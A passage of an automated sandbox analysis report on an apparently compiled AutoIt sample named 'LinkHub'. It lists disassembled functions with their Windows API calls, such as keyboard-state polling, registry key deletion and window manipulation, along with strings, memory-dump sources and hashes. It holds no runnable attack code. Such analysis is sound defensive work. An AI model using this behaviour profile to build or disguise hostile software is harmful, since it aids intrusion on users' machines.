                                                                            • Opcode ID: eb13dab87a05738c5c373c68228276004a853abada3479a2d18e802b88d6570e
                                                                            • Instruction ID: e0d9c67d7defc363c6a52fba37c4db5e44118e2ed8818c9a25fc16cb499ab5d4
                                                                            • Opcode Fuzzy Hash: eb13dab87a05738c5c373c68228276004a853abada3479a2d18e802b88d6570e
                                                                            • Instruction Fuzzy Hash: 5E6101B1E00209AFCB04CFA4DC84AAEBBF6FF48350F208419E955B7250D771AA45CFA0
                                                                            Function 00E352AA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 259COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00E352E6
                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 00E35328
                                                                            • _wcslen.LIBCMT ref: 00E35339
                                                                            • CharUpperBuffW.USER32(?,00000000), ref: 00E35345
                                                                            • _wcsstr.LIBVCRUNTIME ref: 00E3537A
                                                                            • GetClassNameW.USER32(00000018,?,00000400), ref: 00E353B2
                                                                            • GetWindowTextW.USER32(?,?,00000400), ref: 00E353EB
                                                                            • GetClassNameW.USER32(00000018,?,00000400), ref: 00E35445
                                                                            • GetClassNameW.USER32(?,?,00000400), ref: 00E35477
                                                                            • GetWindowRect.USER32(?,?), ref: 00E354EF
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
                                                                            • String ID: ThumbnailClass
                                                                            • API String ID: 1311036022-1241985126
                                                                            • Opcode ID: beba801cddc474971ddce4aa49d8b75b0d204d4279714f4306bcdc1445d5758b
                                                                            • Instruction ID: ff6ec7aa9236541d7951df2389011c440c77af3e515de92691b8bfc982d0a639
                                                                            • Opcode Fuzzy Hash: beba801cddc474971ddce4aa49d8b75b0d204d4279714f4306bcdc1445d5758b
                                                                            • Instruction Fuzzy Hash: 74910A72104B06AFD708DF24C888BAABBF9FF04358F005519FA56A2291E771FD55CB91
                                                                            Function 00E3C8F7 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetMenuItemInfoW.USER32(00EA29C0,000000FF,00000000,00000030), ref: 00E3C973
                                                                            • SetMenuItemInfoW.USER32(00EA29C0,00000004,00000000,00000030), ref: 00E3C9A8
                                                                            • Sleep.KERNEL32(000001F4), ref: 00E3C9BA
                                                                            • GetMenuItemCount.USER32(?), ref: 00E3CA00
                                                                            • GetMenuItemID.USER32(?,00000000), ref: 00E3CA1D
                                                                            • GetMenuItemID.USER32(?,-00000001), ref: 00E3CA49
                                                                            • GetMenuItemID.USER32(?,?), ref: 00E3CA90
                                                                            • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00E3CAD6
                                                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E3CAEB
                                                                            • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E3CB0C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ItemMenu$Info$CheckCountRadioSleep
                                                                            • String ID: 0
                                                                            • API String ID: 1460738036-4108050209
                                                                            • Opcode ID: 64f44404a6925d5502bc1460dd0db1391f781022565eabc9c2e8b07806ed59cc
                                                                            • Instruction ID: 03f719fb56dff6aa1e7f52bc77aa91bcec65c820506c7795042badccbcfe4367
                                                                            • Opcode Fuzzy Hash: 64f44404a6925d5502bc1460dd0db1391f781022565eabc9c2e8b07806ed59cc
                                                                            • Instruction Fuzzy Hash: 39618B70A0024AAFDF11CFA9DC8DAEEBFA8EB05348F241459E952B3251D770ED05CB61
                                                                            Function 00E3E4C2 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00E3E4D4
                                                                            • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00E3E4FA
                                                                            • _wcslen.LIBCMT ref: 00E3E504
                                                                            • _wcsstr.LIBVCRUNTIME ref: 00E3E554
                                                                            • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00E3E570
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
                                                                            • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                            • API String ID: 1939486746-1459072770
                                                                            • Opcode ID: f8a6d4f5bd55653cf61a9b3054b8c6d636e44b409b9de34ab2cb14f7bdbe338d
                                                                            • Instruction ID: 8b05fd272bf1d41f8eb0a2a0ae5d223ab9896af26c665f67b7e779872fb9017c
                                                                            • Opcode Fuzzy Hash: f8a6d4f5bd55653cf61a9b3054b8c6d636e44b409b9de34ab2cb14f7bdbe338d
                                                                            • Instruction Fuzzy Hash: 3C412772A043187ADB14AB659C4BEBF7BACDF65750F015026FA00F61C2EB74AA01D2B5
                                                                            Function 00E5D694 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00E5D6C4
                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00E5D6ED
                                                                            • FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00E5D7A8
                                                                              • Part of subcall function 00E5D694: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00E5D70A
                                                                              • Part of subcall function 00E5D694: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00E5D71D
                                                                              • Part of subcall function 00E5D694: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00E5D72F
                                                                              • Part of subcall function 00E5D694: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00E5D765
                                                                              • Part of subcall function 00E5D694: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00E5D788
                                                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00E5D753
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
                                                                            • String ID: RegDeleteKeyExW$advapi32.dll
                                                                            • API String ID: 2734957052-4033151799
                                                                            • Opcode ID: e9c016cc7039d281e0b0f8e72df5bacb9970b340ad30552645c62a7394e08fbb
                                                                            • Instruction ID: 3b96d320416d5a6916d94ea83160891e39f414c163f58d29d7d6ad5e8fccf927
                                                                            • Opcode Fuzzy Hash: e9c016cc7039d281e0b0f8e72df5bacb9970b340ad30552645c62a7394e08fbb
                                                                            • Instruction Fuzzy Hash: 5B317C71A05129BFDB319B91DC88EEFBB7CEF46755F000466F805F2100DAB09E4A9AA0
                                                                            Function 00E3EFC7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • timeGetTime.WINMM ref: 00E3EFCB
                                                                              • Part of subcall function 00DEF215: timeGetTime.WINMM(?,?,00E3EFEB), ref: 00DEF219
                                                                            • Sleep.KERNEL32(0000000A), ref: 00E3EFF8
                                                                            • EnumThreadWindows.USER32(?,Function_0006EF7C,00000000), ref: 00E3F01C
                                                                            • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00E3F03E
                                                                            • SetActiveWindow.USER32 ref: 00E3F05D
                                                                            • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00E3F06B
                                                                            • SendMessageW.USER32(00000010,00000000,00000000), ref: 00E3F08A
                                                                            • Sleep.KERNEL32(000000FA), ref: 00E3F095
                                                                            • IsWindow.USER32 ref: 00E3F0A1
                                                                            • EndDialog.USER32(00000000), ref: 00E3F0B2
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                                            • String ID: BUTTON
                                                                            • API String ID: 1194449130-3405671355
                                                                            • Opcode ID: 4b8260f74ecdb669b87007946eb514e25ea2fdd160aeb04b7e5303d0b3d0bfe1
                                                                            • Instruction ID: e4458965421c0f49fd19f2ce0a9bdb02131a68841b402822327a4cee0b2ceb81
                                                                            • Opcode Fuzzy Hash: 4b8260f74ecdb669b87007946eb514e25ea2fdd160aeb04b7e5303d0b3d0bfe1
                                                                            • Instruction Fuzzy Hash: D8219571A04205BFD7116F36FD8DA27BF69EB8A789F401025F501B2272CBB1AC0CCA51
                                                                            Function 00E3F313 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                            • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00E3F374
                                                                            • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00E3F38A
                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E3F39B
                                                                            • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00E3F3AD
                                                                            • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00E3F3BE
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: SendString$_wcslen
                                                                            • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                            • API String ID: 2420728520-1007645807
                                                                            • Opcode ID: 231c4dfc592b61075969a784e2a802583b1ab949ac750e562c348119cd95be27
                                                                            • Instruction ID: 0d0f7dfae4e404f90328d68cf8d586a1269c30cb20ff5c3739f6421dc166915a
                                                                            • Opcode Fuzzy Hash: 231c4dfc592b61075969a784e2a802583b1ab949ac750e562c348119cd95be27
                                                                            • Instruction Fuzzy Hash: B411A331A6026979DB20A366CC4AEFF6E7CEBD1B44F41142BB401F21D0EAA05D48C5B1
                                                                            Function 00E02FF3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 54COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • _free.LIBCMT ref: 00E03007
                                                                              • Part of subcall function 00E02D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00E0DB51,?,00000000,?,00000000,?,00E0DB78,?,00000007,?,?,00E0DF75,?), ref: 00E02D4E
                                                                              • Part of subcall function 00E02D38: GetLastError.KERNEL32(?,?,00E0DB51,?,00000000,?,00000000,?,00E0DB78,?,00000007,?,?,00E0DF75,?,?), ref: 00E02D60
                                                                            • _free.LIBCMT ref: 00E03013
                                                                            • _free.LIBCMT ref: 00E0301E
                                                                            • _free.LIBCMT ref: 00E03029
                                                                            • _free.LIBCMT ref: 00E03034
                                                                            • _free.LIBCMT ref: 00E0303F
                                                                            • _free.LIBCMT ref: 00E0304A
                                                                            • _free.LIBCMT ref: 00E03055
                                                                            • _free.LIBCMT ref: 00E03060
                                                                            • _free.LIBCMT ref: 00E0306E
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free$ErrorFreeHeapLast
                                                                            • String ID: &
                                                                            • API String ID: 776569668-2586148540
                                                                            • Opcode ID: 768333984851741c4c5089cf4c7534a96cb5fa601c9a4132064e897aff776f92
                                                                            • Instruction ID: 27fc64b9af50d9acddcbca1a2649ffd3f91bf715111bdd9b102f481f7294de0b
                                                                            • Opcode Fuzzy Hash: 768333984851741c4c5089cf4c7534a96cb5fa601c9a4132064e897aff776f92
                                                                            • Instruction Fuzzy Hash: AB118976500108BFCB01EF94C846DDD3BE9EF05350B9195A9FA08AF162D631DE91AB50
                                                                            Function 00E3A958 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetKeyboardState.USER32(?), ref: 00E3A9D9
                                                                            • SetKeyboardState.USER32(?), ref: 00E3AA44
                                                                            • GetAsyncKeyState.USER32(000000A0), ref: 00E3AA64
                                                                            • GetKeyState.USER32(000000A0), ref: 00E3AA7B
                                                                            • GetAsyncKeyState.USER32(000000A1), ref: 00E3AAAA
                                                                            • GetKeyState.USER32(000000A1), ref: 00E3AABB
                                                                            • GetAsyncKeyState.USER32(00000011), ref: 00E3AAE7
                                                                            • GetKeyState.USER32(00000011), ref: 00E3AAF5
                                                                            • GetAsyncKeyState.USER32(00000012), ref: 00E3AB1E
                                                                            • GetKeyState.USER32(00000012), ref: 00E3AB2C
                                                                            • GetAsyncKeyState.USER32(0000005B), ref: 00E3AB55
                                                                            • GetKeyState.USER32(0000005B), ref: 00E3AB63
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: State$Async$Keyboard
                                                                            • String ID:
                                                                            • API String ID: 541375521-0
                                                                            • Opcode ID: 337212fff772620bac99f4bd9ff2b41b872cdbe307b912b2a18c4c0d2d39032e
                                                                            • Instruction ID: bbefa6d0f01657d115976404086813c6c737f042a1a3aa21c158e5d51ff9c1c1
                                                                            • Opcode Fuzzy Hash: 337212fff772620bac99f4bd9ff2b41b872cdbe307b912b2a18c4c0d2d39032e
                                                                            • Instruction Fuzzy Hash: 1F51F620A0478429FB35DB609858BEAFFF59F52384F0C65A9C5C23A1C2DA549BCCC763
                                                                            Function 00E3662D Relevance: 18.2, APIs: 12, Instructions: 173COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDlgItem.USER32(?,00000001), ref: 00E36649
                                                                            • GetWindowRect.USER32(00000000,?), ref: 00E36662
                                                                            • MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00E366C0
                                                                            • GetDlgItem.USER32(?,00000002), ref: 00E366D0
                                                                            • GetWindowRect.USER32(00000000,?), ref: 00E366E2
                                                                            • MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00E36736
                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00E36744
                                                                            • GetWindowRect.USER32(00000000,?), ref: 00E36756
                                                                            • MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00E36798
                                                                            • GetDlgItem.USER32(?,000003EA), ref: 00E367AB
                                                                            • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00E367C1
                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00E367CE
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$ItemMoveRect$Invalidate
                                                                            • String ID:
                                                                            • API String ID: 3096461208-0
                                                                            • Opcode ID: 980a97e6aee7bad6832546f6dc2e7b42d6e3c2a5e31bdf81e3f51e20f4a0de96
                                                                            • Instruction ID: db75ab3b66d04d48a07cc6cd75728edf8ba1d3d37e988363ad38091b3d21a199
                                                                            • Opcode Fuzzy Hash: 980a97e6aee7bad6832546f6dc2e7b42d6e3c2a5e31bdf81e3f51e20f4a0de96
                                                                            • Instruction Fuzzy Hash: C751FDB1F00209AFDB18CF69DD99AAEBBB5FB48354F508129F919F6290D770AD04CB50
                                                                            Function 00DD2128 Relevance: 18.1, APIs: 12, Instructions: 137COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD2234: GetWindowLongW.USER32(?,000000EB), ref: 00DD2242
                                                                            • GetSysColor.USER32(0000000F), ref: 00DD2152
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ColorLongWindow
                                                                            • String ID:
                                                                            • API String ID: 259745315-0
                                                                            • Opcode ID: 6e0cf8111fd96388bf4ccb4b43232a10dbb24ea17b7aef6850e0ec4b5877fff0
                                                                            • Instruction ID: 6dd5f9ade7c15eaf946aa26042107f5aa2b2ac25af35fb4d46194e3f9a24859b
                                                                            • Opcode Fuzzy Hash: 6e0cf8111fd96388bf4ccb4b43232a10dbb24ea17b7aef6850e0ec4b5877fff0
                                                                            • Instruction Fuzzy Hash: C341F531604340AFDB209F399C48BBA3765EB62370F548256FAA2A73E1C771DD46DB20
                                                                            Function 00DD13A6 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 155windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00E128D1
                                                                            • ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00E128EA
                                                                            • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00E128FA
                                                                            • ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00E12912
                                                                            • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00E12933
                                                                            • DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00DD11F5,00000000,00000000,00000000,000000FF,00000000), ref: 00E12942
                                                                            • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00E1295F
                                                                            • DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00DD11F5,00000000,00000000,00000000,000000FF,00000000), ref: 00E1296E
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                                            • String ID: (
                                                                            • API String ID: 1268354404-2063206799
                                                                            • Opcode ID: 4751971de77c1a8e8747bf9ac3bff2be1eb5b8a8dae480889a42c2d41b2a7afb
                                                                            • Instruction ID: e8d6d2523a8df31af98815e5407ffe419ea0564fc0f89de34e6204df32859030
                                                                            • Opcode Fuzzy Hash: 4751971de77c1a8e8747bf9ac3bff2be1eb5b8a8dae480889a42c2d41b2a7afb
                                                                            • Instruction Fuzzy Hash: 88516C34A00209AFDB24CF29DC45BAA7BB5FF88764F10451DFA42A76A0D770E994DB60
                                                                            Function 00E6955E Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 149windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                              • Part of subcall function 00DD19CD: GetCursorPos.USER32(?), ref: 00DD19E1
                                                                              • Part of subcall function 00DD19CD: ScreenToClient.USER32(00000000,?), ref: 00DD19FE
                                                                              • Part of subcall function 00DD19CD: GetAsyncKeyState.USER32(00000001), ref: 00DD1A23
                                                                              • Part of subcall function 00DD19CD: GetAsyncKeyState.USER32(00000002), ref: 00DD1A3D
                                                                            • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?), ref: 00E695C7
                                                                            • ImageList_EndDrag.COMCTL32 ref: 00E695CD
                                                                            • ReleaseCapture.USER32 ref: 00E695D3
                                                                            • SetWindowTextW.USER32(?,00000000), ref: 00E6966E
                                                                            • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00E69681
                                                                            • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?), ref: 00E6975B
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                                            • String ID: @GUI_DRAGFILE$@GUI_DROPID$($(
                                                                            • API String ID: 1924731296-3832140312
                                                                            • Opcode ID: fbd0f34c419ce4482baf053e2971c0824970583cda64348e4fdb89cd0ba71d56
                                                                            • Instruction ID: 6d8d2979286ca6e67425baa14c8233e1e388577e643796efe343c90dd568b9c6
                                                                            • Opcode Fuzzy Hash: fbd0f34c419ce4482baf053e2971c0824970583cda64348e4fdb89cd0ba71d56
